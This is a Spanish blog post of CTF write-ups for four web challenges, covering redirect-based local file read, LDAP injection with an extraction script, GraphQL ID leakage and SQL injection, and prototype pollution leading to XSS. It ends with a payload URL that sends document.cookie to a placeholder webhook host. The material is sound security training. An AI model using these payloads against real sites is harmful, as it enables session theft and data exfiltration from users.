Logo
Overview
El Bug de la Semana

El Bug de la Semana

October 7, 2025
8 min read

Introducción

Aprovechando que llevo bastante tiempo sin traer contenido al blog y la nueva iniciativa de El Bug de la Semana por parte de Caliphal Hounds, voy a intentar resolver todos los retos y traer los writeups (y con suerte conseguir la first blood 🩸).

Semana 1: El Gran Espía

Note (Enunciado)

El Gran Espía es un maestro del despiste, ha desarrollado una web para que otras páginas web no puedan obtener su dirección IP. Alardea de ser invisible en internet, pero… ¿será verdad? Tu misión es clara: ponerte el sombrero de investigador digital, analizar su invento y demostrar que hasta el espía más astuto deja un rastro. 🔍✨

Para la primera semana, tenemos un reto web blackbox desarrollado por eljoselillo7. El enunciado del reto me dió a entender que quizá sería algo relacionado con el protocolo DNS, pero como veremos es algo completamente distinto. La aplicación es bastante sencilla, únicamente nos permite introducir una URL, la cual será visitada y se nos devolverá su contenido.

Por dicha funcionalidad, las primeras pruebas que hice fueron para intentar conseguir SSRF o leer archivos locales con el schema file://. Sin embargo, realizar fuerza bruta estaba prohibido y los archivos accesibles desde el lado del cliente no revelaron ninguna ruta interesante, por lo que la idea de conseguir SSRF para acceder a servicios o rutas internas la descarté. Al probar con el schema file://, el servicio responde con un error:

Parece que vamos por buen camino, pero únicamente se permiten URLs que usen los schemas http o https. Tras probar varias técnicas, comprobé que el filtro estaba bien aplicado. Con el fin de identificar mejor qué se estaba usando por detrás, mandé la URL de un webhook y recibí la siguiente petición:

GET / HTTP/1.1
Host: hook.oast.fun
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-requests/2.32.4

Como podemos observar, parece que se usa la libería de python-requests para visitar la URL que mandamos. La versión 2.32.4 (en el momento en el que estoy escribiendo esto) no tiene exploits conocidos. Dicha librería cuenta con el parámetro allow_redirects (valor True por defecto), que indica si se deben seguir las redirecciones en caso de que haya. Podemos comprobar que efectivamente está activado en el reto levantando la siguiente app de Flask y exponiéndola con Ngrok:

from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def home():
return redirect("http://google.com", code=302)
if __name__ == '__main__':
app.run(debug=True)

Al enviar nuestra URL de Ngrok al reto, podemos ver que se devuelve el contenido de la página de Google, por lo que el redirect se ha realizado correctamente. Aún así tras descubrir esto me estanqué y no estaba consiguiendo nada, hasta que probé a hacer un redirect a file:///etc/passwd para intentar leer archivos:

Después de probar varios archivos, obtenemos la flag al leer /proc/self/environ.

Flag: chctf{s1empr3_r3d1r3ccion4ndo!}

Important

Como aclaración final, me gustaría indicar que este comportamiento no es estándar en la librería python-requests, de hecho ni siquiera soporta leer archivos con file://. Además, tanto dicha librería como curl o navegadores como Chrome rechazan el redirect por motivos de seguridad. Tras hablar con los organizadores, me confirmaron que el User-Agent fue un error y no debería haber aparecido en el reto.

Semana 2: Caliphal Search (🩸)

Note (Enunciado)

En el directorio de integrantes del equipo de CTF, cada miembro tiene un identificador único. Todos son visibles… menos uno, que permanece oculto y protegido de las miradas curiosas. Tu misión: descubrir qué se oculta en su identificador. Formato de la flag: chctf\{[A-Z0-9_/{}]*\}

De nuevo, tenemos un reto web black box por parte de GUCHI. La aplicación es un buscador de miembros en base a un UID de 3 dígitos:

Como podemos observar, el UID se pasa a través del parámetro URL q, y la búsqueda nos devuelve algunos datos del miembro asociado. No hay archivos ni se desvela ninguna ruta interesante accesible desde el lado del cliente. El enunciado nos da una pista de que hay un usuario con un identificador secreto. Podríamos intentar hacer fuerza bruta de los UIDs, pero sólo existen 5 miembros registrados (001 hasta 005). Las siguientes pruebas que hice fueron para comprobar si existía SQL Injection, pero las comillas y comentarios no parecían funcionar. Por las cabeceras de respuesta, podemos saber que se trata de una aplicación en PHP, por lo que intenté bypassear la (hipotética) blacklist pasando el parámetro como array:

Nos devuelve un error sin mucha información interesante, pero viendo que la aplicación devuelve el resultado de los errores intenté provocar alguno más, por ejemplo pasando caracteres como null bytes (no tengo foto del error porque cerraron el reto :().

Esta vez el error sí que es interesante, pues parece que haciendo una query de LDAP por detrás. En sus queries, de la misma manera que con SQL, si se introduce entrada del usuario puede llevar a inyecciones con diversos caracteres especiales. En este caso para demostrar el impacto, si buscamos por un usuario por UID con el valor *, devolverá un match con cualquier valor y nos devolverá todos los usuarios. En cambio, si introducimos a*, nos devolverá tan sólo los usuarios cuyo UID empiece por el caracter a. De esta manera, podemos automatizar el proceso de exfiltración de la flag con este sencillo script en Python:

import httpx
import string
charset = "chctf{}_" + string.ascii_uppercase + string.digits
url = "http://caliphal-search.challs.caliphalhounds.com"
flag = ""
while "}" not in flag:
for c in charset:
r = httpx.get(url + "/?q=" + flag + c + "*")
if "No se encontró ningún miembro con ese ID." not in r.text:
flag += c
print(flag)
break

Flag: chctf{LD4P_1NJ3CT10N_M4ST3R}

Semana 3: Wordián

Note (Enunciado)

Hemos desarrollado una web usando la asombrosa GraphQL y parece que todo funciona a la perfección… o al menos eso creemos. Prueba a crear tus propias palabras en nuestra app y descubre hasta dónde puedes llegar. ¿Serás capaz de explorar los secretos que esconde Wordián y obtener la flag? Formato de la flag: chctf{[A-Z0-9_-]*}

De nuevo, volvemos a tener un reto de eljoselillo7, esta vez white box.

Resumidamente, la aplicación nos permite registrarnos e iniciar sesión, crear y ver las palabras asociadas a nuestro usuario. Para ello, usa una API de GraphQL que interactúa con una base de datos SQL. Además, al crear y ver nuestras palabras, se crearán automáticamente logs de nuestras acciones con nuestro usuario.

class UserType(SQLAlchemyObjectType):
class Meta:
model = User # id, username, password
interfaces = (graphene.relay.Node,)
class WordType(SQLAlchemyObjectType):
class Meta:
model = Word # id, word, user_id
interfaces = (graphene.relay.Node,)
class LogType(SQLAlchemyObjectType):
class Meta:
model = Log # id, log, username
interfaces = (graphene.relay.Node,)

La flag es la contraseña del usuario admin, por lo que necesitamos alguna forma de filtrarla.

def create_admin():
with app.app_context():
# Check if admin already exists
admin = User.query.filter_by(username="admin").first()
if not admin:
admin = User(username="admin", password={os.getenv("FLAG")})
# ...

El reto tiene un fallo que provoca una solución unintended:

class Query(graphene.ObjectType):
node = graphene.relay.Node.Field() # <--
me = graphene.Field(UserType)
my_words = graphene.List(WordType)
my_logs = graphene.List(graphene.String, username=graphene.String())
# ...

Como podemos observar, entre las queries permitidas a la API de GraphQL, nos permite recuperar cualquier objeto del esquema usando su ID global, pues todos los tipos en este caso implementan la interfaz Node. El ID global en GraphQL tiene el formato Tipo:id y después encodeado en Base64. Para recuperar el usuario administrador, podríamos lanzar la siguiente query, con el ID global UserType:1 en Base64:

query {
node(id: "VXNlclR5cGU6MQ==") {
id
... on UserType {
username
password
}
}
}

Y recuperaríamos la flag:

La solución intended se encuentra en la creación y recuperación de logs:

def get_log(username: str):
if username is not None:
safe_username = username
else:
return None
while "*/" in safe_username or "/*" in safe_username:
safe_username = safe_username.replace("*/", "")
safe_username = safe_username.replace("/*", "")
# Format username to -> USER_username
while "USER_" in safe_username: # make sure we don´t have 2 USER_ prefixes
safe_username = safe_username.replace("USER_","")
safe_username = "USER_" + safe_username
sql = f"SELECT log FROM logs WHERE username = :username /* Executed by {safe_username} */"
results = db.session.execute(sql, {"username":safe_username})
logs = [row[0] for row in results.fetchall()]
return logs

Hay una SQL Injection trivial, si nos registramos con un usuario como USER_*USER_/ UNION SELECT password FROM users USER_/USER_*, la query resultante quedaría como:

SELECT log FROM logs WHERE username = :username /* Executed by */ UNION SELECT password FROM users /* */

Dumpeando así la contraseña de todos los usuarios junto a nuestros logs:

Semana 4: Galería Mágica

Note (Enunciado)

Una galería web aparentemente sencilla… pero con detalles que no terminan de cuadrar. Explora sus funciones con cuidado y descubre qué esconden.

Para finalizar tenemos un reto white box de GUCHI. El reto es de client-side, el código del servidor no tiene nada relevante.

Únicamente tenemos una galería de fotos estática, podremos reportar un URL apuntando al reto, el cuál será visitado por un bot con la flag en una cookie (sin HttpOnly), que clicará en el primer botón de Ver imagen completa. Si analizamos el script de JavaScript de la galería de fotos, llama la atención esta función custom para parsear parámetros URL:

function parseUrlParams() {
const urlParams = new URLSearchParams(window.location.search);
const params = {};
for (const [key, value] of urlParams) {
// Soporte para configuración avanzada
if (key.includes('__proto__')) {
const match = key.match(/__proto__\[([^\]]+)\]/);
if (match) {
const property = match[1];
Object.prototype[property] = value;
}
} else {
params[key] = value;
}
}
return params;
}

Es vulnerable a prototype pollution, por lo que podremos contaminar/añadir atributos a todos los objetos de la ventana. Por ejemplo:

Al clicar sobre Ver imagen completa, se llama a la siguiente función:

function openFullImage(imageId) {
const image = images[imageId];
if (!image) return;
// Configuración de redirección para imágenes
const settings = {};
const baseUrl = settings.imageBaseUrl + image.partialUrl;
// Redireccionar a la imagen completa
document.location = baseUrl;
}

Crea un objeto settings sin ningún atributo, al que luego se accede para construir un URL de la imagen a la que se redireccionará. Combinando estas dos cosas, podemos contaminar el atributo Object.imageBaseUrl para que apunte a un URL de JavaScript y así conseguir XSS al clicar el botón.

Para conseguir la flag, bastaría con reportar el siguiente URL al bot:

http://127.0.0.1:5000/?__proto__[imageBaseUrl]=javascript:fetch(`http://WEBHOOK/log?c=${document.cookie}`);//